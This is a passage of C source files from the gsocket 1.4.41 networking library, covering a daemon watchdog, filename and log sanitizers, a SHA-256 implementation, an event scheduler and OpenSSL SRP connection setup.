"%uh%02um", sec / (60 * 60), (sec / 60) % 60); else if (sec >= 100) // 100 seconts or more => 1m40 snprintf(dst, dst_sz, "%um%02us", sec / 60, sec % 60); else snprintf(dst, dst_sz, "%us", MAX(0, sec)); return dst; } // Get Working Directory of process with id pid or if this fails then current cwd // of this process. char * GS_getpidwd(pid_t pid) { char *wd = NULL; if (pid <= 0) goto err; #if defined(__APPLE__) && defined(HAVE_LIBPROC_H) // OSX (and others?) int ret; struct proc_vnodepathinfo vpi; ret = proc_pidinfo(pid, PROC_PIDVNODEPATHINFO, 0, &vpi, sizeof vpi); if (ret <= 0) goto err; wd = strdup(vpi.pvi_cdir.vip_path); #elif __FREEBSD__ struct procstat *procstat; struct kinfo_proc *kipp; struct filestat_list *head; struct filestat *fst; unsigned int cnt; procstat = procstat_open_sysctl(); if (procstat == NULL) goto err; kipp = procstat_getprocs(procstat, KERN_PROC_PID, pid, &cnt); if ((kipp == NULL) || (cnt <= 0)) goto err; head = procstat_getfiles(procstat, kipp, 0); if (head == NULL) goto err; STAILQ_FOREACH(fst, head, next) { if (!(fst->fs_uflags & PS_FST_UFLAG_CDIR)) continue; if (fst->fs_path == NULL) continue; wd = strdup(fst->fs_path); break; } procstat_freefiles(procstat, head); #else // Linux & other unix (solaris etc) char buf[1024]; char res[GS_PATH_MAX + 1]; ssize_t sz; snprintf(buf, sizeof buf, "/proc/%d/cwd", (int)pid); sz = readlink(buf, res, sizeof res - 1); if (sz < 0) goto err; res[sz] = '\0'; wd = strdup(res); #endif err: if (wd == NULL) { #if defined(__sun) && defined(HAVE_OPEN64) // This is solaris 10 wd = getcwd(NULL, GS_PATH_MAX + 1); // solaris10 segfaults if size is 0... #else wd = getcwd(NULL, 0); #endif XASSERT(wd != NULL, "getcwd(): %s\n", strerror(errno)); // hard fail } DEBUGF_W("PID %d CWD=%s\n", pid, wd); return wd; } /* * Duplicate the process. Child returns. Parent monitors child * and re-spwans child if it dies. * Disconnect from process group and do all the things to become * a daemon. * Terminate the daemon if code_force_exit matches _TWICE_ the error code of * the child. This is used to detect BAD-AUTH from the GSRN. * Set to -1 to ignore. */ void GS_daemonize(FILE *logfp, int code_force_exit) { pid_t pid; struct timeval last; struct timeval now; int n_force_exit = 0; memset(&last, 0, sizeof last); memset(&now, 0, sizeof now); gs_errfp = logfp; #ifdef DEBUG gs_dout = logfp; #endif pid = fork(); XASSERT(pid >= 0, "fork(): %s\n", strerror(errno)); if (pid > 0) exit(0); // Parent exits /* HERE: Child. */ setsid(); // if (chdir("/") != 0) // ERREXIT("chdir(): %s\n", strerror(errno)); close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); /* HERE: We are now a daemon. Next: Become a watchdog. */ while (1) { signal(SIGCHLD, SIG_DFL); // make wait() work... pid = fork(); XASSERT(pid >= 0, "fork(): %s\n", strerror(errno)); if (pid == 0) { signal(SIGCHLD, SIG_IGN); return; } /* HERE: Parent. We are the watchdog. */ int wstatus; wait(&wstatus); // Wait for child to termiante and then restart child if (WIFEXITED(wstatus) && (WEXITSTATUS(wstatus) == code_force_exit)) { // Admin behavior is to test gs-netcat without -D and then // with -D immediatly after. The 2nd gs-netcat will use a different // AUTH-TOKEN and thus will receive a BAD-AUTH immediately. // => Wait 10 seconds before re-conncting to give the GSRN time // to expire the AUTH-TOKEN. If we get a 2nd BAD-AUTH thereafter // then it is clear that another server using the same SECRET // is already listening and we should exit the daemon/watchdog. n_force_exit += 1; // Kill the daemon / watchdog. if (n_force_exit >= 2) exit(0); } else { n_force_exit = 0; } /* No not spawn to often. */ gettimeofday(&now, NULL); int diff = now.tv_sec - last.tv_sec; int n = 60; if (diff > 60) { n_force_exit = 0; n = 1; // Immediately restart if this is first restart or child ran for >60sec } if (n_force_exit == 1) n = GSRN_TOKEN_LINGER_SEC + 3; // If BAD-AUTH then only wait long enough for GSRN to drop auth token (7 seconds) xfprintf(gs_errfp, "%s ***DIED*** (wstatus=%d/). Restarting in %d second%s.\n", GS_logtime(), wstatus, n, n>1?"s":""); sleep(n); gettimeofday(&last, NULL); // When last restarted. } exit(255); // NOT REACHED } // Sanitize a string const char * GS_sanitize(char *dst, size_t dsz, char *src, size_t sz, const char *set, size_t setsz, short option) { char *dst_orig = dst; if (dsz <= 0) return NULL; char *dst_end = dst + dsz; char *src_end = src + sz; uint8_t c; uint8_t n; while ((dst < dst_end) && (src < src_end)) { c = *src; if (c == '\0') break; if (c < setsz) { n = set[c]; } else { n = '#'; } *dst = n; dst++; src++; } *dst = '\0'; return dst_orig; } static const char fname_valid_char[] = "" "................" "................" " !.#$%&.()#+,-.." /* Dont allow " or / or ' or * */ "0123456789:;.=.." /* Dont allow < or > or ? */ "@ABCDEFGHIJKLMNO" "PQRSTUVWXYZ[.]^_" /* Dont allow \ */ ".abcdefghijklmno" /* Dont allow ` */ "pqrstuvwxyz{.}.." /* Dont allow | or ~ */ ""; // Sanitize a filename const char * GS_sanitize_fname_str(char *str, size_t len) { return GS_sanitize(str, len, str, len, fname_valid_char, sizeof fname_valid_char, 0); } const char * GS_sanitize_fname(char *dst, size_t dlen, char *src, size_t slen) { return GS_sanitize(dst, dlen, src, slen, fname_valid_char, sizeof fname_valid_char, 0); } static const char logmsg_valid_char[] = "" "................" "................" " !\"#$%#'()#+,-./" // dont allow &, * "0123456789:#<=>?" // dont allow ; "@ABCDEFGHIJKLMNO" "PQRSTUVWXYZ[\\]^_" "#abcdefghijklmno" // dont allow ` "pqrstuvwxyz{#}~." // dont allow | ""; // Sanitize a log message const char * GS_sanitize_logmsg_str(char *str, size_t len) { return GS_sanitize(str, len, str, len, logmsg_valid_char, sizeof logmsg_valid_char, 0); } const char * GS_sanitize_logmsg(char *dst, size_t dlen, char *src, size_t slen) { return GS_sanitize(dst, dlen, src, slen, logmsg_valid_char, sizeof logmsg_valid_char, 0); } gsocket-1.4.41/lib/gs-common.h0000644000175000017500000001326514503376047016002 0ustar epsilonepsilon #ifndef __GS_COMMON_H__ #define __GS_COMMON_H__ 1 #ifdef HAVE_CONFIG_H # include #endif #include #include #include #include #include #include #if defined(__FREEBSD__) # include # include # include # include #endif // __FREEBSD__ #include #ifdef HAVE_NETINET_IN_SYSTM_H # include #endif #include #include #include #include #include #include // gethostbyname #include #ifdef HAVE_UNISTD_H # include #endif #include #include #include #include #include #include #include #include #include /* basename() */ #if defined(__APPLE__) && defined(HAVE_LIBPROC_H) # include // getpidwd(pid_t) #endif #if defined(__FREEBSD__) // FIXME: Please tell me where this is defined? fbsd 12-1 complains: // /usr/include/libprocstat.h:122:15: error: field 'fs_cap_rights' has incomplete type # ifndef cap_rights_t typedef struct cap_rights cap_rights_t; # endif # include #endif #include #include #include #include #ifndef MAX # define MAX(X, Y) (((X) < (Y)) ? (Y) : (X)) #endif #ifndef MIN # define MIN(X, Y) (((X) < (Y)) ? (X) : (Y)) #endif // debian-hurd does not define PATH_MAX (and has no limit on filename length) #ifndef PATH_MAX # define GS_PATH_MAX 4096 #else # define GS_PATH_MAX PATH_MAX #endif #define D_RED(a) "\033[0;31m"a"\033[0m" #define D_GRE(a) "\033[0;32m"a"\033[0m" #define D_YEL(a) "\033[0;33m"a"\033[0m" #define D_BLU(a) "\033[0;34m"a"\033[0m" #define D_MAG(a) "\033[0;35m"a"\033[0m" #define D_BRED(a) "\033[1;31m"a"\033[0m" #define D_BGRE(a) "\033[1;32m"a"\033[0m" #define D_BYEL(a) "\033[1;33m"a"\033[0m" #define D_BBLU(a) "\033[1;34m"a"\033[0m" #define D_BMAG(a) "\033[1;35m"a"\033[0m" #ifdef DEBUG # define DEBUGF(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, a); }while(0) # define DEBUGF_R(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;31m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0) # define DEBUGF_G(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;32m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0) # define DEBUGF_B(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;34m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0) # define DEBUGF_Y(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;33m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0) # define DEBUGF_M(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;35m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0) # define DEBUGF_C(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;36m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0) # define DEBUGF_W(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;37m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0) # define DEBUG_SETID(xgs) gs_did = (xgs)->fd #else # define DEBUGF(a...) # define DEBUGF_R(a...) # define DEBUGF_G(a...) # define DEBUGF_B(a...) # define DEBUGF_Y(a...) # define DEBUGF_M(a...) # define DEBUGF_C(a...) # define DEBUGF_W(a...) # define DEBUG_SETID(xgs) #endif #define SXPRINTF(ptr, len, a...) do {\ size_t n = snprintf(ptr, len, a); \ ptr += MIN(n, len); \ } while(0) #define XFREE(ptr) do{if(ptr) free(ptr); ptr = NULL;}while(0) #define xfprintf(fp, a...) do {if (fp != NULL) { fprintf(fp, a); fflush(fp); } } while (0) #ifdef DEBUG # define ERREXIT(a...) do { \ xfprintf(gs_errfp, "ERROR "); \ xfprintf(gs_errfp, "%s():%d ", __func__, __LINE__); \ xfprintf(gs_errfp, a); \ exit(255); \ } while (0) #else # define ERREXIT(a...) do { \ xfprintf(gs_errfp, "ERROR: "); \ xfprintf(gs_errfp, a); \ exit(255); \ } while (0) #endif #ifndef XASSERT # define XASSERT(expr, a...) do { \ if (!(expr)) { \ xfprintf(gs_errfp, "%s:%d:%s() ASSERT(%s) ", __FILE__, __LINE__, __func__, #expr); \ xfprintf(gs_errfp, a); \ xfprintf(gs_errfp, " Exiting...\n"); \ exit(255); \ } \ } while (0) #endif #define XCLOSE(fd) do { \ if (fd < 0) { break; } \ DEBUGF_W("Closing fd = %d\n", fd); \ close(fd); \ fd = -1; \ } while (0) #define XFD_SET(fd, set) do { \ /*if (fd <= 0) { DEBUGF_R("WARNING: FD_SET(%d, )\n", fd); } */ \ if (fd < 0) { break; } \ FD_SET(fd, set); \ } while (0) #define XFD_CLR(fd, set) do { \ if (fd <= 0) { DEBUGF_R("WARNING: FD_CLR(%d, )\n", fd); } \ if (fd < 0) { break; } \ FD_CLR(fd, set); \ } while (0) #ifdef DEBUG # define HEXDUMP(a, len) do { \ int n = 0; \ xfprintf(gs_dout, D_BLU("LIB")" %s:%d HEX ", __FILE__, __LINE__); \ while (n < len) { xfprintf(gs_dout, "%2.2x", ((unsigned char *)a)[n]); n++; } \ xfprintf(gs_dout, "\n"); \ } while (0) # define HEXDUMPF(a, len, m...) do{xfprintf(gs_dout, m); HEXDUMP(a, len);}while(0) #else # define HEXDUMP(a, len) # define HEXDUMPF(a, len, m...) #endif #endif /* !__GS_COMMON_H__ */ gsocket-1.4.41/lib/gsocket-sha256.c0000644000175000017500000001400714503376047016536 0ustar epsilonepsilon #ifndef HAVE_LIBCRYPTO /* Compiled WITHOUT OpenSSL */ /********************************************************************* * Filename: sha256.c * Author: Brad Conte (brad AT bradconte.com) * Copyright: * Disclaimer: This code is presented "as is" without any guarantees. * Details: Implementation of the SHA-256 hashing algorithm. SHA-256 is one of the three algorithms in the SHA2 specification. The others, SHA-384 and SHA-512, are not offered in this implementation. Algorithm specification can be found here: * http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf This implementation uses little endian byte order. *********************************************************************/ /*************************** HEADER FILES ***************************/ #include #include #include // #include "sha256.h" /**************************** DATA TYPES ****************************/ typedef unsigned char BYTE; // 8-bit byte typedef unsigned int WORD; // 32-bit word, change to "long" for 16-bit machines typedef struct { BYTE data[64]; WORD datalen; unsigned long long bitlen; WORD state[8]; } SHA256_CTX; /*********************** FUNCTION DECLARATIONS **********************/ static void sha256_init(SHA256_CTX *ctx); static void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len); static void sha256_final(SHA256_CTX *ctx, BYTE hash[]); unsigned char * GS_SHA256(const unsigned char *d, size_t n, unsigned char *md) { SHA256_CTX s; sha256_init(&s); sha256_update(&s, d, n); sha256_final(&s, md); return md; } /****************************** MACROS ******************************/ #define ROTLEFT(a,b) (((a) << (b)) | ((a) >> (32-(b)))) #define ROTRIGHT(a,b) (((a) >> (b)) | ((a) << (32-(b)))) #define CH(x,y,z) (((x) & (y)) ^ (~(x) & (z))) #define MAJ(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z))) #define EP0(x) (ROTRIGHT(x,2) ^ ROTRIGHT(x,13) ^ ROTRIGHT(x,22)) #define EP1(x) (ROTRIGHT(x,6) ^ ROTRIGHT(x,11) ^ ROTRIGHT(x,25)) #define SIG0(x) (ROTRIGHT(x,7) ^ ROTRIGHT(x,18) ^ ((x) >> 3)) #define SIG1(x) (ROTRIGHT(x,17) ^ ROTRIGHT(x,19) ^ ((x) >> 10)) /**************************** VARIABLES *****************************/ static const WORD k[64] = { 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5, 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174, 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da, 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967, 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85, 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070, 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3, 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2 }; /*********************** FUNCTION DEFINITIONS ***********************/ void sha256_transform(SHA256_CTX *ctx, const BYTE data[]) { WORD a, b, c, d, e, f, g, h, i, j, t1, t2, m[64]; for (i = 0, j = 0; i < 16; ++i, j += 4) m[i] = (data[j] << 24) | (data[j + 1] << 16) | (data[j + 2] << 8) | (data[j + 3]); for ( ; i < 64; ++i) m[i] = SIG1(m[i - 2]) + m[i - 7] + SIG0(m[i - 15]) + m[i - 16]; a = ctx->state[0]; b = ctx->state[1]; c = ctx->state[2]; d = ctx->state[3]; e = ctx->state[4]; f = ctx->state[5]; g = ctx->state[6]; h = ctx->state[7]; for (i = 0; i < 64; ++i) { t1 = h + EP1(e) + CH(e,f,g) + k[i] + m[i]; t2 = EP0(a) + MAJ(a,b,c); h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2; } ctx->state[0] += a; ctx->state[1] += b; ctx->state[2] += c; ctx->state[3] += d; ctx->state[4] += e; ctx->state[5] += f; ctx->state[6] += g; ctx->state[7] += h; } void sha256_init(SHA256_CTX *ctx) { ctx->datalen = 0; ctx->bitlen = 0; ctx->state[0] = 0x6a09e667; ctx->state[1] = 0xbb67ae85; ctx->state[2] = 0x3c6ef372; ctx->state[3] = 0xa54ff53a; ctx->state[4] = 0x510e527f; ctx->state[5] = 0x9b05688c; ctx->state[6] = 0x1f83d9ab; ctx->state[7] = 0x5be0cd19; } void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len) { WORD i; for (i = 0; i < len; ++i) { ctx->data[ctx->datalen] = data[i]; ctx->datalen++; if (ctx->datalen == 64) { sha256_transform(ctx, ctx->data); ctx->bitlen += 512; ctx->datalen = 0; } } } void sha256_final(SHA256_CTX *ctx, BYTE hash[]) { WORD i; i = ctx->datalen; // Pad whatever data is left in the buffer. if (ctx->datalen < 56) { ctx->data[i++] = 0x80; while (i < 56) ctx->data[i++] = 0x00; } else { ctx->data[i++] = 0x80; while (i < 64) ctx->data[i++] = 0x00; sha256_transform(ctx, ctx->data); memset(ctx->data, 0, 56); } // Append to the padding the total message's length in bits and transform. ctx->bitlen += ctx->datalen * 8; ctx->data[63] = ctx->bitlen; ctx->data[62] = ctx->bitlen >> 8; ctx->data[61] = ctx->bitlen >> 16; ctx->data[60] = ctx->bitlen >> 24; ctx->data[59] = ctx->bitlen >> 32; ctx->data[58] = ctx->bitlen >> 40; ctx->data[57] = ctx->bitlen >> 48; ctx->data[56] = ctx->bitlen >> 56; sha256_transform(ctx, ctx->data); // Since this implementation uses little endian byte ordering and SHA uses big endian, // reverse all the bytes when copying the final state to the output hash. for (i = 0; i < 4; ++i) { hash[i] = (ctx->state[0] >> (24 - i * 8)) & 0x000000ff; hash[i + 4] = (ctx->state[1] >> (24 - i * 8)) & 0x000000ff; hash[i + 8] = (ctx->state[2] >> (24 - i * 8)) & 0x000000ff; hash[i + 12] = (ctx->state[3] >> (24 - i * 8)) & 0x000000ff; hash[i + 16] = (ctx->state[4] >> (24 - i * 8)) & 0x000000ff; hash[i + 20] = (ctx->state[5] >> (24 - i * 8)) & 0x000000ff; hash[i + 24] = (ctx->state[6] >> (24 - i * 8)) & 0x000000ff; hash[i + 28] = (ctx->state[7] >> (24 - i * 8)) & 0x000000ff; } } #endif /* !WITH_GS_SHA256 */ gsocket-1.4.41/lib/event.c0000644000175000017500000000652514503376047015220 0ustar epsilonepsilon/* * Event manager by time stamp (usec) * * FIXME-Performance: reduce calls to gettimeofday(). Use global. */ #include "gs-common.h" #include #include "gs-externs.h" int GS_EVENT_MGR_init(GS_EVENT_MGR *mgr) { memset(mgr, 0, sizeof *mgr); GS_LIST_init(&mgr->list_ts, 0); return 0; } /* * func == NULL is a special function which sets the mgr->is_return_to_caller := 1. * This is used to pass control back to the caller when select() is used * in any kind of 'forever' loop such as GS_select(). */ GS_EVENT * GS_EVENT_add_by_ts(GS_EVENT_MGR *mgr, GS_EVENT *gse, uint64_t start, uint64_t interval, gsevent_cb_t func, void *data, size_t len) { if (gse == NULL) { gse = calloc(1, sizeof *gse); XASSERT(gse != NULL, "calloc(): %s\n", strerror(errno)); gse->is_calloc = 1; } else { gse->is_calloc = 0; } // Get start time if not specified // Start can also be an offset to current time if it is // <1000. if (start < 1000) { struct timeval tv; gettimeofday(&tv, NULL); start = GS_TV_TO_USEC(&tv) + GS_MSEC_TO_USEC(start); } gse->data = data; gse->len = len; gse->mgr = mgr; gse->interval = interval; gse->start = start; gse->due = start + interval; gse->func = func; gse->id = mgr->id_counter; mgr->id_counter += 1; GS_LIST_add(&mgr->list_ts, &gse->li, gse, gse->due); return gse; } int GS_EVENT_del(GS_EVENT *gse) { int is_calloc; if (gse == NULL) return -1; // Already deleted if (gse->mgr == NULL) return -1; GS_LIST_del(&gse->li); is_calloc = gse->is_calloc; memset(gse, 0, sizeof *gse); if (is_calloc) XFREE(gse); return 0; } uint64_t GS_EVENT_usec_until_event(GS_EVENT_MGR *mgr) { GS_LIST_ITEM *li; li = GS_LIST_next(&mgr->list_ts, NULL); // Return 1 second if no event scheduled. if (li == NULL) return GS_SEC_TO_USEC(1); struct timeval tv; uint64_t now; gettimeofday(&tv, NULL); now = GS_TV_TO_USEC(&tv); // Return if top most entry's time has come... if (now > li->id) return 0; return li->id - now; } /* * Execute 1 event (if due) and return to the caller. * * Return 0 if there are more events to be executed. * Return the usec until next event is due. */ uint64_t GS_EVENT_execute(GS_EVENT_MGR *mgr) { uint64_t wait; int ret; wait = GS_EVENT_usec_until_event(mgr); if (wait != 0) return wait; // HERE: top-most event is due. Execute. GS_EVENT *event = mgr->list_ts.head->data; if (event->func != NULL) { ret = event->func(event); if (ret != 0) { // CB wants this event to be deleted GS_EVENT_del(event); return 0; } } else { mgr->is_return_to_caller = 1; } // Schedule next execution for this event // Detect clock skew (e.g. machine was in sleep mode) struct timeval tv; gettimeofday(&tv, NULL); uint64_t now = GS_TV_TO_USEC(&tv); uint64_t steps = (now - event->start) / event->interval; event->due = event->start + ((steps + 1) * event->interval); // DEBUGF("now %llu due %llu diff %llu\n", now, event->due, event->due - now); GS_LIST_relink(&event->li, event->due); return GS_EVENT_usec_until_event(mgr); } /* * Execute all events that are due. * Return the usec until next event is due (or 1 sec if no event scheduled) */ uint64_t GS_EVENT_execute_all(GS_EVENT_MGR *mgr) { uint64_t next; while (1) { next = GS_EVENT_execute(mgr); if (next != 0) break; } return next; } gsocket-1.4.41/lib/gsocket-engine.h0000644000175000017500000000165314503376047017003 0ustar epsilonepsilon #ifndef __LIBGSOCKET_ENGINE_H__ #define __LIBGSOCKET_ENGINE_H__ 1 void gs_ssl_want_io_finished(GS *gs); int gs_ssl_continue(GS *gsocket, enum gs_rw_state_t rw_state); int gs_ssl_want_io_rw(GS_SELECT_CTX *ctx, int fd, int err); int gs_ssl_shutdown(GS *gsocket); int gs_srp_init(GS *gsocket); void gs_select_rw_save_state(GS_SELECT_CTX *ctx, int fd, char *idstr); void gs_select_rw_restore_state(GS_SELECT_CTX *ctx, int fd, char *idstr); void gs_select_set_rdata_pending(GS_SELECT_CTX *ctx, int fd, int len); void gs_fds_out(fd_set *fdset, int max, char id); void gs_fds_out_rwfd(GS_SELECT_CTX *ctx); void gs_fds_out_fd(fd_set *fdset, char id, int fd); #define gs_ctx_set_errorf(ctx, a...) do{snprintf((ctx)->err_buf, sizeof (ctx)->err_buf, a);} while(0) #define gs_set_errorf(gs, a...) gs_ctx_set_errorf((gs)->ctx, a) // do{snprintf((gs)->ctx->err_buf, sizeof (gs)->ctx->err_buf, a);} while(0) #endif /* !__LIBGSOCKET_ENGINE_H__ */ gsocket-1.4.41/lib/gsocket-ssl.c0000644000175000017500000003124514503376047016332 0ustar epsilonepsilon #include "gs-common.h" #include #include "gsocket-engine.h" #include "gs-externs.h" #ifdef HAVE_LIBCRYPTO #include #include #include #include /* * Called by the SSL object when a SRP negotiation is requested by peer. * ### SERVER ### */ static int srp_username_cb(SSL *ssl, int *ad, void *arg) { SRP_user_pwd *p; SRP_VBASE *lsrpData = (SRP_VBASE *)arg; if (ssl == NULL) return -1; if (lsrpData == NULL) return -1; // Not ready yet. p = SRP_VBASE_get1_by_user(lsrpData, "user"); if (p == NULL) return -1; // Bad User. if (SSL_set_srp_server_param(ssl, p->N, p->g, p->s, p->v, NULL) != 1) ERREXIT("SSL_set_srp_server_param() failed...\n"); SRP_user_pwd_free(p); // DEBUGF("SUCCESS, returning SSL_ERROR_NONE\n"); return SSL_ERROR_NONE; } /* * ### CLIENT ### */ static char * srp_client_pwd_cb(SSL *ssl, void *arg) { GS *gs = (GS *)arg; DEBUGF("Called in CLIENT only??? ssl = %p, arg = %p, pwd='%s'\n", ssl, arg, gs->srp_sec); return OPENSSL_strdup(gs->srp_sec); } /* * ### SERVER ### */ static void gs_srp_setpassword(GS *gs, const char *pwd_str) { SRP_gN *gN; SRP_user_pwd *p; DEBUGF("Setting SRP password to '%s'\n", pwd_str); if (gs->srpData != NULL) { DEBUGF("WARNING: srpData already initizalied\n"); return; } gs->srpData = SRP_VBASE_new(NULL); XASSERT(gs->srpData != NULL, "\n"); p = (SRP_user_pwd *)OPENSSL_malloc(sizeof (SRP_user_pwd)); XASSERT(p != NULL, "\n"); gN = SRP_get_default_gN(GS_DFL_CIPHER_STRENGTH); XASSERT(gN != NULL, "SRP_get_default_gN()\n"); char *srpCheck = SRP_check_known_gN_param(gN->g, gN->N); XASSERT(srpCheck != NULL, "Bad Crypto SRP_check_known_gN_param() failed.\n"); BIGNUM *salt = NULL; BIGNUM *verifier = NULL; SRP_create_verifier_BN("user", pwd_str, &salt, &verifier, gN->N, gN->g); p->id = "user"; p->g = gN->g; p->N = gN->N; p->s = salt; p->v = verifier; p->info = NULL; sk_SRP_user_pwd_push(gs->srpData->users_pwd, p); } static void gs_ssl_ctx_init(GS *gs, int is_server) { int ret; if (gs->ssl_ctx != NULL) { DEBUGF("SHOULD NOT HAPPEN\n"); return; /* Already got a SSL CTX */ } SSL_CTX *ctx = NULL; ctx = SSL_CTX_new(SSLv23_method()); XASSERT(ctx != NULL, "SSL_CTX_new() failed.\n"); long options = 0; options |= SSL_OP_NO_SSLv2; options |= SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION; options |= SSL_OP_NO_TICKET; options |= SSL_OP_CIPHER_SERVER_PREFERENCE; options |= SSL_OP_SINGLE_DH_USE; SSL_CTX_set_options(ctx, options); ret = SSL_CTX_set_cipher_list(ctx, GS_DFL_CIPHER); XASSERT(ret == 1, "SSL_CTX_set_cipher_list()\n"); #if 1 /* AUTO_RETRY for blocking SRP is easier */ long mode; mode = SSL_CTX_get_mode(ctx); mode |= SSL_MODE_AUTO_RETRY; /* Let OpenSSL handle all writes internally */ SSL_CTX_set_mode(ctx, mode); #endif if (is_server) { DEBUGF("...SRP SERVER...\n"); /* SERVER */ SSL_CTX_set_srp_username_callback(ctx, srp_username_cb); gs_srp_setpassword(gs, gs->srp_sec); /* The user's SRP password is set per SSL_CTX. This means * we need a new SSL_CTX for every GS connection :/ * The only time we re-use a CTX is when gsocket * is in server mode and using SSL_accept() from * multiple TCP connections and all using the same * Global Socket address. */ ret = SSL_CTX_set_srp_cb_arg(ctx, gs->srpData); XASSERT(ret == 1, "SSL_CTX_set_srp_cb_arg()\n"); } else { DEBUGF("...SRP CLIENT...\n"); /* CLIENT */ SSL_CTX_set_srp_username(ctx, "user"); SSL_CTX_set_srp_cb_arg(ctx, gs); SSL_CTX_set_srp_client_pwd_callback(ctx, srp_client_pwd_cb); } gs->ssl_ctx = ctx; } static void gs_ssl_init(GS *gsocket) { SSL *ssl = gsocket->ssl; if (ssl != NULL) return; ssl = SSL_new(gsocket->ssl_ctx); gsocket->ssl = ssl; } const char * GS_SSL_strerror(int err) { switch (err) { case SSL_ERROR_NONE: return D_GRE("None"); case SSL_ERROR_ZERO_RETURN: return "ZERO_RETURN (close-notify recv)"; case SSL_ERROR_WANT_READ: return D_YEL("WANT_READ"); case SSL_ERROR_WANT_WRITE: return D_YEL("WANT_WRITE"); case SSL_ERROR_WANT_CONNECT: return "WANT CONNECT"; case SSL_ERROR_WANT_ACCEPT: return "WANT ACCEPT"; case SSL_ERROR_WANT_X509_LOOKUP: return "WANT X509 LOOKUP"; #ifdef SSL_ERROR_WANT_ASYNC case SSL_ERROR_WANT_ASYNC: return "WANT_ASYNC"; #endif case SSL_ERROR_SYSCALL: return D_RED("SYSCALL"); case SSL_ERROR_SSL: return D_RED("FATAL ERROR"); } return "unknown :/"; } /* * Determine if a call to SSL_* triggered WANT-READ or WANT-WRITE * for the underlying I/O. WANT-READ does not mean that * SSL_read() needs to be called but rather that the underlying * tcp_fd needs to be ready for reading and that the original * SSL_* function needs to be called - which could have been * SSL_write() - Yes, SSL_write() might return WANT-READ * and SSL_write() needs to be called again once the underlying * socket has data ready for reading. * * Return 0 on success. * Return -1 on fatal error. */ int gs_ssl_want_io_rw(GS_SELECT_CTX *ctx, int fd, int err) { if (ctx == NULL) return GS_ERR_FATAL; char *ptr = NULL; #ifdef DEBUG char buf[128]; ptr = buf; snprintf(buf, sizeof buf, "I/O SSL_%s", GS_SSL_strerror(err)); #endif gs_select_rw_save_state(ctx, fd, ptr); if (err == SSL_ERROR_WANT_READ) { XFD_SET(fd, ctx->rfd); ctx->want_io_read[fd] = 1; return 0; } if (err == SSL_ERROR_WANT_WRITE) { XFD_SET(fd, ctx->wfd); ctx->want_io_write[fd] = 1; DEBUGF_B("ctx->want_io_write[fd=%d] := %d\n", fd, ctx->want_io_write[fd]); return 0; } return GS_ERR_FATAL; } void gs_ssl_want_io_finished(GS *gs) { // DEBUGF_B("want_io_finished fd = %d\n", gs->fd); /* Return if we do not track WANT-READ/WANT-WRITE */ if (gs->ctx->gselect_ctx == NULL) return; gs->ctx->gselect_ctx->want_io_read[gs->fd] = 0; gs->ctx->gselect_ctx->want_io_write[gs->fd] = 0; gs_select_rw_restore_state(gs->ctx->gselect_ctx, gs->fd, "X"); } /* * See GS_shutdown() for return values. */ int gs_ssl_shutdown(GS *gsocket) { int ret; int err; gsocket->ssl_shutdown_count++; DEBUGF_Y("%d. call to gs_ssl_shutdown\n", gsocket->ssl_shutdown_count); if (gsocket->ssl == NULL) { DEBUGF_Y("*** WARNING ****: ssl == NULL\n"); return GS_ERR_FATAL; } /* SSL_shutdown() only closes the write direction. It is not possible * to call SSL_write() after calling SSL_shutdown. The read directio is * closed by the peer. */ ret = SSL_shutdown(gsocket->ssl); DEBUGF_Y("SSL_shutdown() = %d (%s)\n", ret, ret==1?"COMPLETE":"waiting (stopped writing)"); /* 1 == SUCCESS (close notify received) * 0 == Close-sent (check SSL_read() for 